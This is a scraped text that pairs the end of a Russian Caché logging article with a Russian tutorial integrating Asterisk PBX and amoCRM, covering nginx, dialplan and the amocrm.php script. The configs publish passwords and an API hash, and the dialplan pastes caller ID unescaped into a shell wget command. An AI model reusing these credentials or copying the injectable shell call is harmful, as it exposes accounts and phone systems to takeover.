Во-вторых добавим возможность открытия контекста — в том случае, из хранимых значений аргументов восстанавливать контекст (аргументы) метода.
### Обработка аргументов-объектов
Генерация строки, которая записывает значение аргумента в лог происходит в методе ArgumentsListToString и выглядит как: "\_$g(" \_ $lg($lg(List,i)) \_ ","\_$$$quote(..#Null)\_")\_". Произведём рефакторинг и выделим её в отдельный метод GetArgumentValue, который на вход будет принимать имя переменной и её класс (а всё это нам известно из FormalSpecParsed) а на выходе будет код преобразующий переменную в строку. Для типов данных это будет уже существующий код, объекты будем преобразовывать в JSON методами SerializeObject (для вызова из клиентского кода) и WriteJSONFromObject (для конвертации объекта в JSON):
**Методы GetArgumentValue, SerializeObject и WriteJSONFromObject:**ClassMethod GetArgumentValue(Name As %String, ClassName As %Dictionary.CacheClassname) As %String
{
If $ClassMethod(ClassName, "%Extends", "%RegisteredObject") {
// it's an object
Return "\_##class(App.Log).SerializeObject("\_Name \_ ")\_"
} Else {
// it's a datatype
Return "\_$g(" \_ Name \_ ","\_$$$quote(..#Null)\_")\_"
}
}
ClassMethod SerializeObject(Object) As %String
{
Return:'$IsObject(Object) Object
Return ..WriteJSONFromObject(Object)
}
ClassMethod WriteJSONFromObject(Object) As %String [ ProcedureBlock = 0 ]
{
// Create a string that we will redirect to
Set Str = ""
Use $io::("^"\_$ZNAME)
// Enable redirection
Do ##class(%Device).ReDirectIO(1)
// Any write statements here will be redirected to the labels defined below
Do ##class(%ZEN.Auxiliary.jsonProvider).%ObjectToJSON(Object)
// Disable redirection
Do ##class(%Device).ReDirectIO(0)
Return Str
// Labels that allow for IO redirection
// Read Character - we don't care about reading
rchr Quit
// Read a string - we don't care about reading
rstr(sz,to) Quit
// Write a character - call the output label
wchr(s) Do output($char(s)) Quit
// Write a form feed - call the output label
wff() Do output($char(12)) Quit
// Write a newline - call the output label
wnl() Do output($char(13,10)) Quit
// Write a string - call the output label
wstr(s) Do output(s) Quit
// Write a tab - call the output label
wtab(s) Do output($char(9)) Quit
// Output label - this is where you would handle what you actually want to do.
// in our case, we want to write to Str
output(s) Set Str = Str\_s Quit
}
Запись в лог с аргументом-объектом выглядит следующим образом:
### Открытие контекста
Идея этого метода состоит в том, чтобы сделать доступными все аргументы в текущем контексте (в основном — терминала, для отладки приложения). Для этого используется параметр метода [ProcedureBlock](http://docs.intersystems.com/ens20151/csp/docbook/DocBook.UI.Page.cls?KEY=ROBJ_method_procedureblock), если установить его равным 0, то все переменные объявленные внутри такого метода, будут доступны и после выхода их метода. Наш метод, соответственно, будет открывать объект класса App.Log и десериализировать свойство Arguments.
**Методы LoadContext и DeserializeObject**ClassMethod LoadContext(Id) As %Status [ ProcedureBlock = 0 ]
{
Return:'..%ExistsId(Id) $$$OK
Set Obj = ..%OpenId(Id)
Set Arguments = Obj.Arguments
Set List = ..GetMethodArgumentsList(Obj.ClassName,Obj.MethodName)
For i=1:1:$Length(Arguments,";")-1 {
Set Argument = $Piece(Arguments,";",i)
Set @$lg($lg(List,i)) = ..DeserializeObject($Piece(Argument,"=",2),$lg($lg(List,i),2))
}
Kill Obj,Arguments,Argument,i,Id,List
}
ClassMethod DeserializeObject(String, ClassName) As %String
{
If $ClassMethod(ClassName, "%Extends", "%RegisteredObject") {
// it's an object
Set st = ##class(%ZEN.Auxiliary.jsonProvider).%ConvertJSONToObject(String,,.obj)
Return:$$$ISOK(st) obj
}
Return String
}
**В терминале это выглядит следующим образом:**
```
zw
>
do ##class(App.Log).LoadContext(9)
zw
>a=3
>b=[2@%ZEN.proxyObject]
zw b
>
+----------------- general information ---------------
| oref value: 2
| class name: %ZEN.proxyObject
| reference count: 2
+----------------- attribute values ------------------
| %changed = 1
| %data("A") = 1
| %data("B") = "stringvalue"
| %index = ""
```
Что дальше?
-----------
Основное улучшение, которое здесь можно сделать — это добавление ещё одного аргумента в основной макрос с произвольным списком переменных, созданных уже внутри метода.
Выводы
------
Макросы позволяют реализовать на этапе компиляции часть логики приложения, уменьшая таким образом нагрузку в рантайме.
Ссылки
------
[Часть I. Макросы](http://habrahabr.ru/company/intersystems/blog/258081/)
[GitHub репозиторий системы логирования](https://github.com/intersystems-ru/Log)
[Классы системы логирования](https://gist.githubusercontent.com/eduard93/3af3e1f31604fef81df6/raw/e3daea9bb63576f73d130a6fecc709fec448e824/App.Log.cls.xml)
Автор выражает благодарность хабраюзерам [Daimor](http://habrahabr.ru/users/daimor/), [Greyder](http://habrahabr.ru/users/greyder/) и еще одному очень компетентному инженеру, пожелавшему остаться неназванным, за помощь в написании кода. | https://habr.com/ru/post/258805/ | null | ru | null |
# Asterisk. Интеграция с amoCRM, step-by-step guide
В сети можно найти инструкции разной степени давности и полноты представленной информации по теме вынесенной в заголовок статьи, но даже собрав их все воедино, потребуются прямые руки, напильник и некоторое количество терпения для достижения желанного катарсиса.
Здесь я представлю свой опыт подключения Asterisk к amoCRM в виде пошаговой инструкции, осветив все необходимые нюансы, начиная от получения ssl-сертификата, настройки web-сервера и заканчивая демонстрацией работы получившейся связки.
\*для нетерпеливых, что получится в результате выполненных манипуляций смотрите в
[окончании статьи](#Results)
### Вводные
На нашем тестовом стенде установлены:
* ОС Debian
```
lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.7 (jessie)
Release: 8.7
Codename: jessie
```
* IP PBX Asterisk
```
*CLI> core show version
Asterisk 13.14.0 built by root @ asterisk.vistep.ru on a x86_64 running Linux on 2017-03-29 05:47:19 UTC
```
* web-сервер NGINX
```
sudo nginx -v
nginx version: nginx/1.10.3
```
* PHP-FPM
```
php5-fpm -v
PHP 5.6.30-0+deb8u1 (fpm-fcgi) (built: Feb 8 2017 08:51:18)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
```
* Доменное имя для теста
```
tawny-owl:~$ dig +short asterisk.vistep.ru
138.201.164.52
```
### Получаем ssl-сертификат
В данном гайде мы будем использовать бесплатный сертификат от Let’s Encrypt.
*Изначально я планировал использовать StartSSL и написал пошаговую инструкцию по получению сертификатов там, но только после заметил, что их корневые сертификаты не принимает ни один браузер.*
Процедура его получения достаточно тривиальна, но я все же опишу ее по шагам.
1. Переходим на сайт [letsencrypt.org](https://letsencrypt.org/) и жмем «Get Started»
**скрин**
2. Далее нас интересует раздел With Shell Access, в котором мы найдем все необходимые инструкции
**скрин**
3. Переходим на [certbot.eff.org](https://certbot.eff.org/) и выбираем наше ПО
**скрин**
4. После чего следуем инструкциям и выполняем
**несколько команд в косноли**
```
echo "deb http://ftp.debian.org/debian jessie-backports main" >> /etc/apt/sources.list
apt-get update
apt-get install certbot -t jessie-backports
```
5. Затем необходимо отправить запрос на получение сертификата при помощи утилиты certbot.
Я пошел по наиболее примитивному пути:
вбил команду
```
certbot certonly
```
и следовал этапам мастера, где указал свой email, путь к webroot, имя домена и пр.
**скрины**
6. На выходе видим
**заветное**
```
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at
/etc/letsencrypt/live/asterisk.vistep.ru/fullchain.pem. Your cert
will expire on 2017-06-27. To obtain a new or tweaked version of
this certificate in the future, simply run certbot again. To
non-interactively renew *all* of your certificates, run "certbot
renew"
- If you like Certbot, please consider supporting our work by:
Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate
Donating to EFF: https://eff.org/donate-le
```
7. Копируем сертификаты в места их дислокации
**Скрытый текст**
```
cp /etc/letsencrypt/live/asterisk.vistep.ru/privkey.pem /etc/nginx/certs/vistep.ru.key
cp /etc/letsencrypt/live/asterisk.vistep.ru/fullchain.pem /etc/nginx/certs/vistep.ru.pem
```
*Как справедливо заметили в комментариях, время жизни полученных сертификатов — 3 месяца и их нужно будет обновлять. Примите это во внимание!*
### Настройка web-сервера
Как и было сказано во вводной, мы будем использовать web-сервер NGINX.
Не стану разводить hollywar'ов и как-то мотивировать свой выбор, просто — у нас стоит NGINX и мы будем настраивать его.
Основой конфига послужила замечательная статья [DimaSmirnov](https://habr.com/ru/users/dimasmirnov/) [«Nginx и https. Получаем класс А+»](https://habrahabr.ru/post/252821/), за что ему, пользуясь случаем, выражаю благодарность.
Итак, конфигурационный файл web-сервера имеет следующий вид (некоторые комментарии даны непосредственно в конфиге):
**/etc/nginx/conf.d/asterisk.vistep.ru.conf**
```
server {
server_name asterisk.vistep.ru;
listen 138.201.164.52:80;
rewrite ^ https://asterisk.vistep.ru$request_uri? permanent;
}
server {
access_log /var/log/nginx/asterisk.vistep.ru.access.log;
error_log /var/log/nginx/asterisk.vistep.ru.error.log;
listen 443 ssl;
server_name asterisk.vistep.ru;
resolver 8.8.8.8;
ssl_stapling on;
ssl on;
ssl_certificate /etc/nginx/certs/vistep.ru.pem;
ssl_certificate_key /etc/nginx/certs/vistep.ru.key;
ssl_dhparam /etc/nginx/certs/dhparam.pem;
ssl_session_timeout 24h;
ssl_session_cache shared:SSL:2m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers kEECDH+AES128:kEECDH:kEDH:-3DES:kRSA+AES128:kEDH+3DES:DES-CBC3-SHA:!RC4:!aNULL:!eNULL:!MD5:!EXPORT:!LOW:!SEED:!CAMELLIA:!IDEA:!PSK:!SRP:!SSLv2;
ssl_prefer_server_ciphers on;
add_header Strict-Transport-Security "max-age=31536000;";
add_header Content-Security-Policy-Report-Only "default-src https:; script-src https: 'unsafe-eval' 'unsafe-inline'; style-src https: 'unsafe-inline'; img-src https: data:; font-src https: data:; report-uri /csp-report";
root /var/www/asterisk;
index index.php index.html index.htm index.nginx-debian.html;
location records/ {
autoindex off;
allow 89.108.120.223;
allow 89.108.122.9;
allow 95.213.171.78;
allow 95.213.156.46;
allow 209.160.27.20;
allow 89.189.163.20; # адреса выше - адреса amoCRM и они нужны, а этот - мой домашний, не нужно его вставлять в конфиг ;) актуальный список адресов - https://www.amocrm.ru/security/iplist.txt
deny all;
}
location / {
try_files $uri $uri/ =404;
allow 89.108.120.223;
allow 89.108.122.9;
allow 95.213.171.78;
allow 95.213.156.46;
allow 209.160.27.20;
allow 89.189.163.20; # адреса выше - адреса amoCRM и они нужны, а этот - мой домашний, не нужно его вставлять в конфиг ;) актуальный список адресов - https://www.amocrm.ru/security/iplist.txt
deny all;
}
location ~ \.php$ {
allow 89.108.120.223;
allow 89.108.122.9;
allow 95.213.171.78;
allow 95.213.156.46;
allow 209.160.27.20;
allow 89.189.163.20; # адреса выше - адреса amoCRM и они нужны, а этот - мой домашний, не нужно его вставлять в конфиг ;) актуальный список адресов - https://www.amocrm.ru/security/iplist.txt
deny all;
fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_buffers 16 16k;
fastcgi_buffer_size 32k;
}
}
```
В папке /var/www/asterisk/ (в моем случае) нужно создать симлинк на папку, где будут храниться файлы записей разговоров (о настройке записей разговоров расскажу ниже)
**Скрытый текст**
cd /var/www/asterisk/
ln -s /var/calls/ records
Еще несколько слов о сертификатах. Помимо уже размещенных на своих местах vistep.ru.key и vistep.ru.pem, нам также понадобится dhparam.pem.
**создадим его**
```
openssl dhparam -out /etc/nginx/certs/dhparam.pem 4096
```
За сим с настройкой NGINX закончим и перейдем к настройке Asterisk.
### Настройка IP PBX Asterisk
Для того, чтобы amoCRM могла коммуницировать с нашей Asterisk, manager.conf и http.conf нужно привести к виду:
**manager.conf**
```
[general]
enabled = yes
port = 5038
bindaddr = 0.0.0.0
webenabled = yes
httptimeout = 60
debug = on
[amocrm]
secret = JD3clEB8f4-_3ry84gJ
deny = 0.0.0.0/0.0.0.0
permit = 127.0.0.1/255.255.255.0
read = cdr,reporting,originate
write = reporting,originate
```
**http.conf**
```
[general]
enabled=yes
enablestatic=yes
bindaddr=0.0.0.0
bindport=8088
prefix=asterisk
```
Перезапустим Asterisk и проверим все ли поднялось как нам нужно
**выхлоп**
`asterisk*CLI> http show status
HTTP Server Status:
Prefix: /asterisk
Server: Asterisk/13.14.0
Server Enabled and Bound to 0.0.0.0:8088
Enabled URI's:
/asterisk/httpstatus => Asterisk HTTP General Status
/asterisk/phoneprov/... => Asterisk HTTP Phone Provisioning Tool
/asterisk/amanager => HTML Manager Event Interface w/Digest authentication
/asterisk/arawman => Raw HTTP Manager Event Interface w/Digest authentication
/asterisk/manager => HTML Manager Event Interface
/asterisk/rawman => Raw HTTP Manager Event Interface
/asterisk/static/... => Asterisk HTTP Static Delivery
/asterisk/amxml => XML Manager Event Interface w/Digest authentication
/asterisk/mxml => XML Manager Event Interface
/asterisk/ari/... => Asterisk RESTful API
/asterisk/ws => Asterisk HTTP WebSocket
Enabled Redirects:
None.
asterisk*CLI> manager show settings
Global Settings:
----------------
Manager (AMI): Yes
Web Manager (AMI/HTTP): Yes
TCP Bindaddress: 0.0.0.0:5038
HTTP Timeout (minutes): 60
TLS Enable: No
TLS Bindaddress: Disabled
TLS Certfile: asterisk.pem
TLS Privatekey:
TLS Cipher:
Allow multiple login: Yes
Display connects: Yes
Timestamp events: No
Channel vars:
Debug: Yes`
Пример диалплана (я использую ael, но уверен, что любой сможет перевести в lua или conf при желании):
**extensions.ael**
```
globals {
WAV=/var/calls; //Временный каталог с WAV
MP3=/var/calls; //Куда выгружать mp3 файлы
RECORDING=1; // Запись, 1 - включена.
};
macro recording (calling,called) {
if ("${RECORDING}" = "1"){
Set(fname=${UNIQUEID}-${STRFTIME(${EPOCH},,%Y-%m-%d-%H_%M)}-${calling}-${called});
Set(datedir=${STRFTIME(${EPOCH},,%Y/%m/%d)});
System(mkdir -p ${WAV}/${datedir});
Set(monopt=nice -n 19 /usr/bin/lame -b 32 --silent "${WAV}/${datedir}/${fname}.wav" "${MP3}/${datedir}/${fname}.mp3" && chmod o+r "${MP3}/${datedir}/${fname}.*");
Set(CDR(filename)=${fname}.mp3);
Set(CDR(recordingfile)=${fname}.wav);
Set(CDR(realdst)=${called});
MixMonitor(${WAV}/${datedir}/${fname}.wav,b,${monopt});
};
};
context dial_out {
// звоним друг другу
_[71]XX => {
&recording(${CALLERID(number)},${EXTEN});
Dial(SIP/${EXTEN},,tTr);
Hangup();
}
// кому позвонить решит amoCRM!
100500 => {
Set(DEFMAN=123); // по умолчанию звоним на 123
Set(TOEXT=${SHELL(wget -O - --quiet "https://vistepru.amocrm.ru/private/acceptors/asterisk_new/?redirect=Y&number=${CALLERID(num)}&USER_LOGIN=ceo@vistep.ru&USER_HASH=1dc1444b0d3172c1113ffea9078c575c")}); // получаем номер ответственного менеджера
Dial(SIP/${TOEXT},,tTr); // звоним ответственному менеджеру // если он не отвечает или ошибка, звоним на номер по умолчанию
if ("${DIALSTSTUS}" != "ANSWERED") {
Dial(SIP/${DEFMAN},,tTr);
}
HangUP();
} // end 100500
_XXXXXX => {
NoOP(=== CALL FROM ${CALLERID(number)} TO ${EXTEN} ===);
&recording(${CALLERID(number)},${EXTEN});
Dial(SIP/83843${EXTEN}@multifon,180,tT);
HangUP();
} // end of _XXXXXX
_[78]XXXXXXXXXX => {
NoOP(=== CALL TO ${EXTEN} ===);
&recording(${CALLERID(number)},${EXTEN});
Dial(SIP/${EXTEN}@multifon,180,tT);
HangUP();
}// end of _[78]XXXXXXXXXX
_+7XXXXXXXXXX => {
NoOP(=== CALL TO ${EXTEN} ===);
&recording(${CALLERID(number)},${EXTEN});
Dial(SIP/${EXTEN}@multifon,180,tT);
HangUP();
}// end of _+7XXXXXXXXXX
//все остальные звонки, не прописанные выше, идут в лес
_X. => {
Hangup();
}
}
context default {
// в контексте по умолчанию все отправляется лесом
_X. => {
Hangup();
}
};
context incoming {
_[87]XXXXXXXXXX => {
&recording(${CALLERID(number)},${EXTEN});
Answer();
Set(CHANNEL(musicclass)=vistep.ru);
Set(CUSTOMER_NAME=${SHELL(wget -O - --quiet "https://vistepru.amocrm.ru/private/acceptors/asterisk_new/?number=${CALLERID(num)}&USER_LOGIN=ceo@vistep.ru&USER_HASH=1dc1444b0d3172c1113ffea9078c575c"|cut -d "|" -f1)});
Set(CALLERID(name)=${CUSTOMER_NAME});
Queue(queue_1,tT);
NoOp(=== ${HANGUPCAUSE} ===);
HangUP();
}
}
```
Важно!
В контексте incoming (так я назвал контекст, где обрабатываю входящие вызовы), в единственном экстеншене, есть такая строка:
```
Set(CUSTOMER_NAME=${SHELL(wget -O - --quiet "https://vistepru.amocrm.ru/private/acceptors/asterisk_new/?number=${CALLERID(num)}&USER_LOGIN=ceo@vistep.ru&USER_HASH=1dc1444b0d3172c1113ffea9078c575c"|cut -d "|" -f1)});
```
Эта команда позволяет нам отобразить на телефонах сотрудников ФИО звонящих клиентов, подцепляя их из amoCRM.
Разберем линк из этой команды на составляющие:
1. [vistepru.amocrm.ru/private/acceptors/asterisk\_new](https://vistepru.amocrm.ru/private/acceptors/asterisk_new/)? где вместо vistepru у вас должен быть прописан ваш поддомен в amocrm
2. USER\_LOGIN=ceo@vistep.ru где вместо моего email должен быть указан ваш (админский)
3. USER\_HASH=1dc1444b0d3172c1119593ffea9078c575c где вместо моего API ключа (в интерфейсе amoCRM «Настройки» → «API) укажите свой API ключ
Пример работы команды
**Скрытый текст**
Теперь о специальном экстеншене 100500. Напомню, в диалплане он выглядит
**так**
```
// кому позвонить решит amoCRM!
100500 => {
Set(DEFMAN=123); // по умолчанию звоним на 123
Set(TOEXT=${SHELL(wget -O - --quiet "https://vistepru.amocrm.ru/private/acceptors/asterisk_new/?redirect=Y&number=${CALLERID(num)}&USER_LOGIN=ceo@vistep.ru&USER_HASH=1dc1444b0d3172c1113ffea9078c575c")}); // получаем номер ответственного менеджера
Dial(SIP/${TOEXT},,tTr); // звоним ответственному менеджеру // если он не отвечает или ошибка, звоним на номер по умолчанию
if ("${DIALSTSTUS}" != "ANSWERED") {
Dial(SIP/${DEFMAN},,tTr);
}
HangUP();
} // end 100500
```
Линк для wget практически идентичен и для него действуют правила описанные выше. А нужен он для т.н. „умной переадресации“, когда поступивший вызов переадресуется сотрудником на 100500, а дальше Asterisk и amoCRM уже сами решают кому его направить (читай направить ответственному менеджеру или менеджеру „по умолчанию“).
Почему это полезно, спросите вы? Представим обычную для офиса ситуацию:
`- Входящий звонок от ООО "Шубы Саурона"
- Звонок принимает менеджер Боромир, понимает, что это не его клиент и начинает кричать в рупор на весь офис: - Чей клиент "Шубы Сарумана"? (еще и ошибается в добавок!)
- Галадриель из конца кабинета кричит, что ее
- Боромир спрашивает какой у нее внутренний номер и только затем переводит вызов.`
В связке с amoCRM это будет выглядеть так:
`- Входящий звонок от ООО "Шубы Саурона"
- Звонок принимает менеджер Боромир, понимает, что это не его клиент и переводит вызов на 100500
- Asterisk и amoCRM путем не сложной магии сами решают, что вызов нужно отправить Галадриель
- PROFIT!`
*за информацию спасибо ребятам из voxlink — [voxlink.ru/kb/integraciya-s-crm/amocrm-asterisk](https://voxlink.ru/kb/integraciya-s-crm/amocrm-asterisk/)*
И да, совсем забыл, если ваша Asterisk еще не настроена на ведение БД в MySQL, то в [данной статье](http://blog.vistep.ru/page/novyj-web-interfejs-statistiki-i-proslushivanija-vyzovov-dlja-ip-ats-asterisk) вы найдете все необходимые инструкции.
Также не забудьте добавить в табличку CDR еще одно поле (нужно для возможности слушать разговоры в карточке клиента в amoCRM)
**Скрытый текст**
ALTER TABLE `cdr` ADD `recordingfile` VARCHAR (120) NOT NULL
и выполнить еще пару команд
**Заголовок спойлера**
```
echo "alias recordingfile => recordingfile" >> cdr_mysql.conf
asterisk -rx 'core restart now'
```
### Настройка amoCRM
В данном пункте нас ждет наибольшее количество грабель, поэтому будьте внимательны.
Прежде всего подключим Asterisk в интерфейсе amoCRM.
Для этого идем в „Настройки“ → „Интеграции“ → находим там Asterisk и жмем „Установить“.
Нам предстанет описание интеграции и некоторое количество ссылок на гайды, все это смело пролистываем в самый низ до полей ввода информации.
Логин — amocrm (из manager.conf)
Пароль — JD3clEB8f4-\_3ry84gJ (из manager.conf)
Путь к скрипту — \_https://asterisk.vistep.ru/amocrm.php
А также внутренние номера сотрудников вашей компании.
**скрин**
Следующим шагом будет настройка скрипта amocrm.php.
Его можно скачать по ссылке в описании интеграции, но я хочу обратить внимание, что выложенный здесь исправлен под конкретный диалплан, точнее конкретный контекст оригинации вызовов dial\_out (строка 99), дабы соответствовать настройкам Asterisk на стенде. Имейте это в виду и измените на ваш контекст, если он будет отличаться (это нужно для совершения вызовов в пару кликов прямо из amoCRM).
**amocrm.php**
```
php
/*
amoCRM to asterisk integration.
QSOFT LLC, All rights reserved.
mailto: support@amocrm.com.
Date: 10.04.2012 rev: 102703
Cannot be redistributed without
a written permission.
_____ _____ __ __
/ ____| __ \| \/ |
__ _ _ __ ___ ___ | | | |__) | \ / |
/ _` | '_ ` _ \ / _ \| | | _ /| |\/| |
| (_| | | | | | | (_) | |____| | \ \| | | |_
\__,_|_| |_| |_|\___/ \_____|_| \_\_| |_(_)
*/
ini_set('log_errors','On');
ini_set('error_log', '/var/log/php_errors.log');
define('AC_HOST','localhost'); // где слушает AMI/AJAM
define('AC_PORT',8088); // какой порт слушает (у нас 8088) см. http.conf Asterisk'а
define('AC_PREFIX','/asterisk/'); // см. http.conf Asterisk'а
define('AC_TLS',false);
define('AC_DB_CS','mysql:host=localhost;port=3306;dbname=asterisk'); //хост, где крутится MySQL с БД Asterisk'а, порт и имя БД
define('AC_DB_UNAME','asterisk_user'); //каким юзером цепляться к БД
define('AC_DB_UPASS','232wwQd293f_2edxse3e'); //пароль этого юзера
define('AC_TIMEOUT',0.75);
define('AC_RECORD_PATH','https://asterisk.vistep.ru/records/%Y/%m/%d/#'); //путь, по которому забирать файлы записей разговоров
define('AC_TIME_DELTA',7); // hours. Ex. GMT+4 = 4
$db_cs=AC_DB_CS;
$db_u=!strlen(AC_DB_UNAME)?NULL:AC_DB_UNAME;
$db_p=!strlen(AC_DB_UPASS)?NULL:AC_DB_UPASS;
date_default_timezone_set('UTC');
if (AC_PORT<1) die('Please, configure settings first!'); // die if not
if (defined('AC_RECORD_PATH') AND !empty($_GET['GETFILE'])){
//get file. Do not check auth. (uniqueid is rather unique)
$p=AC_RECORD_PATH;
if (empty($p)) die('Error while getting file from asterisk');
try {
$dbh = new PDO($db_cs, $db_u, $db_p);
$sth = $dbh-prepare('SELECT calldate,recordingfile FROM cdr WHERE uniqueid= :uid');
$sth->bindValue(':uid',strval($_GET['GETFILE']));
$sth->execute();
$r = $sth->fetch(PDO::FETCH_ASSOC);
if ($r===false OR empty($r['recordingfile'])) die('Error while getting file from asterisk');
$date=strtotime($r['calldate']);
$replace=array();
$replace['#']=$r['recordingfile'];
$dates=array('d','m','Y','y');
foreach ($dates as $d) $replace['%'.$d]=date($d,$date); // not a good idea!
$p=str_replace(array_keys($replace),array_values($replace),$p);
if (empty($_GET['noredirect'])) header('Location: '.$p);
die($p);
} catch (PDOException $e) {
die('Error while getting file from asterisk');
}
}
// filter parameters from _GET
foreach (array('login','secret','action') as $k){
if (empty($_GET['_'.$k])) die('NO_PARAMS');
$$k=strval($_GET['_'.$k]);
}
// trying to check accacess
$loginArr=array(
'Action'=>'Login',
'username'=>$login,
'secret'=>$secret,
// 'Events'=>'off',
);
$resp=asterisk_req($loginArr,true);
// problems? exiting
if ($resp[0]['response']!=='Success') answer(array('status'=>'error','data'=>$resp[0]));
//auth OK. Lets perform actions
if ($action==='status'){ // list channels status
$params=array( 'action'=>'status');
$resp=asterisk_req($params);
// report error of any
if ($resp[0]['response']!=='Success') answer(array('status'=>'error','data'=>$resp[0]));
// first an last chunks are useless
unset($resp[end(array_keys($resp))],$resp[0]);
// renumber keys for JSON
$resp=array_values($resp);
// report OK
answer(array('status'=>'ok','action'=>$action,'data'=>$resp));
}elseif ($action==='call'){ // originate a call
$params=array(
'action'=>'Originate',
'channel'=>'SIP/'.intval($_GET['from']),
'Exten'=>strval($_GET['to']),
'Context'=>'dial_out', //was from-internal
'priority'=>'2',
'Callerid'=>'"'.strval($_GET['as']).'" <'.intval($_GET['from']).'>',
'Async'=>'Yes',
// Not Implemented:
//'Callernumber'=>'150',
//'CallerIDName'=>'155',
);
$resp=asterisk_req($params,true);
if ($resp[0]['response']!=='Success') answer(array('status'=>'error','data'=>$resp[0]));
answer(array('status'=>'ok','action'=>$action,'data'=>$resp[0]));
} elseif ($action==='test_cdr'){ // test if DB connection params are OK.
if (!class_exists('PDO')) answer(array('status'=>'error','data'=>'PDO_NOT_INSTALLED')); // we use PDO for accessing mySQL pgSQL sqlite within same algorythm
try {
$dbh = new PDO($db_cs, $db_u, $db_p);
} catch (PDOException $e) {
answer(array('status'=>'error','data'=>$e->getMessage()));
}
answer(array('status'=>'ok','data'=>'connection ok'));
} elseif ($action==='cdr'){ // fetch call history
try {
$dbh = new PDO($db_cs, $db_u, $db_p);
foreach (array('date_from','date_to') as $k){
$v=doubleval( (!empty($_GET[$k]))?intval($_GET[$k]):0 );
if ($v<0) $v=time()-$v;
$$k=$v;
}
if ($date_fromprepare('SELECT calldate, src,dst,duration,billsec,uniqueid,recordingfile FROM cdr WHERE disposition=\'ANSWERED\' AND billsec>=:minsec AND calldate> :from AND calldate< :to');
// BETWEEN is illegal on some bcknds
header("X-REAL\_DATE:" . gmdate('Y-m-d H:i:s',$date\_from).'@'. gmdate('Y-m-d H:i:s',$date\_to));
$sth->bindValue(':from', date('Y-m-d H:i:s',$date\_from) );
$sth->bindValue(':to', date('Y-m-d H:i:s',$date\_to));
$sth->bindValue(':minsec',!empty($\_GET['minsec'])?$\_GET['minsec']:5,PDO::PARAM\_INT);
$sth->execute();
//$sth->debugDumpParams(); var\_dump($sth->errorInfo());
$r = $sth->fetchAll(PDO::FETCH\_ASSOC);
foreach ($r as $k=>$v) $r[$k]['calldate']=date('Y-m-d H:i:s',strtotime($v['calldate'])-AC\_TIME\_DELTA\*3600);
answer(array('status'=>'ok','data'=>$r),true);
} catch (PDOException $e) {
answer(array('status'=>'error','data'=>$e->getMessage()),true);
}
} elseif ($action==='pop'){// fill test data. Maybe you will need it. Just comment line below.
die();
$dbh = new PDO($db\_cs, $db\_u, $db\_p);
for ($i=0;$i<(int)$\_GET['n'];$i++){
$array=array(
date('Y-m-d H:i:s',time()-rand(100,7\*24\*3600)),
'Auto <150>', 150,'791612345678','n/a','n/a','n/a','n/a','n/a',999, rand(7,999), 'ANSWERED',3,'',uniqid(),'','',''
);
$str=array();
foreach ($array as $v) $str[]="'{$v}'";
$str=implode(', ',$str);
$dbh->query("INSERT INTO cdr VALUES ({$str});");
}
}
/\*\* MakeRequest to asterisk interfacees
\* @param $params -- array of req. params
\* @return array -- response
\*/
function asterisk\_req($params,$quick=false){
// lets decide if use AJAM or AMI
return !defined('AC\_PREFIX')?ami\_req($params,$quick):ajam\_req($params);
}
/\*\*
\* Shudown function. Gently close the socket
\*/
function asterisk\_socket\_shutdown(){ami\_req(NULL);}
/\*\*\* Make request with AMI
\* @param $params -- array of req. params
\* @param bool $quick -- if we need more than action result
\* @return array result of req
\*/
function ami\_req($params,$quick=false){
static $connection;
if ($params===NULL and $connection!==NULL) {
// close connection
fclose($connection);
return;
}
if ($connection===NULL){
$en=$es='';
$connection = fsockopen(AC\_HOST, AC\_PORT, $en, $es, 3);
// trying to connect. Return an error on fail
if ($connection) register\_shutdown\_function('asterisk\_socket\_shutdown');
else {$connection=NULL; return array(0=>array('response'=>'error','message'=>'socket\_err:'.$en.'/'.$es));}
}
// building req.
$str=array();
foreach($params as $k=>$v) $str[]="{$k}: {$v}";
$str[]='';
$str=implode("\r\n",$str);
// writing
fwrite($connection,$str."\r\n");
// Setting stream timeout
$seconds=ceil(AC\_TIMEOUT);
$ms=round((AC\_TIMEOUT-$seconds)\*1000000);
stream\_set\_timeout($connection,$seconds,$ms);
// reading respomse and parsing it
$str= ami\_read($connection,$quick);
$r=rawman\_parse($str);
//var\_dump($r,$str);
return $r;
}
/\*\*\* Reads data from coinnection
\* @param $connection -- active connection
\* @param bool $quick -- should we wait for timeout or return an answer after getting command status
\* @return string RAW response
\*/
function ami\_read($connection,$quick=false){
$str='';
do {
$line = fgets($connection, 4096);
$str .= $line;
$info = stream\_get\_meta\_data($connection);
if ($quick and $line== "\r\n") break;
}while ($info['timed\_out'] == false );
return $str;
}
/\*\*\* Echo`s data
\* @param $array answer data
\* @param bool $no\_callback shold we output as JSON or use callback function
\*/
function answer($array,$no\_callback=false){
header('Content-type: text/javascript;');
if (!$no\_callback) echo "asterisk\_cb(".json\_encode($array).');';
else echo json\_encode($array);
die();
}
/\*\* Parse RAW response
\* @param $lines RAW response
\* @return array parsed response
\*/
function rawman\_parse($lines){
$lines=explode("\n",$lines);
$messages=array();
$message=array();
foreach ($lines as $l){
$l=trim($l);
if (empty($l) and count($message)>0){ $messages[]= $message; $message=array(); continue;}
if (empty($l)) continue;
if (strpos($l,':')===false) continue;
list($k,$v)=explode(':',$l);
$k=strtolower(trim($k));
$v=trim($v);
if (!isset( $message[$k])) $message[$k]=$v;
elseif (!is\_array( $message[$k])) $message[$k]=array( $message[$k],$v);
else $message[$k][]=$v;
}
if (count($message)>0) $messages[]= $message;
return $messages;
}
/\*\* Make request via AJAM
\* @param $params req. params
\* @return array parsed resp.
\*/
function ajam\_req($params){
static $cookie;
// EveryRequest Ajam sends back a cookir, needed for auth handling
if ($cookie===NULL) $cookie='';
// make req. and store cookie
list($body,$cookie)= rq(AC\_PREFIX.'rawman?'.http\_build\_query($params),$cookie);
// parse an answer
return rawman\_parse($body);
}
/\*\* make http req. to uri with cookie, parse resp and fetch a new cookie
\* @param $url
\* @param string $cookie
\* @return array ($body,$newcookie)
\*/
function rq($url,$cookie=''){
// get RAW data
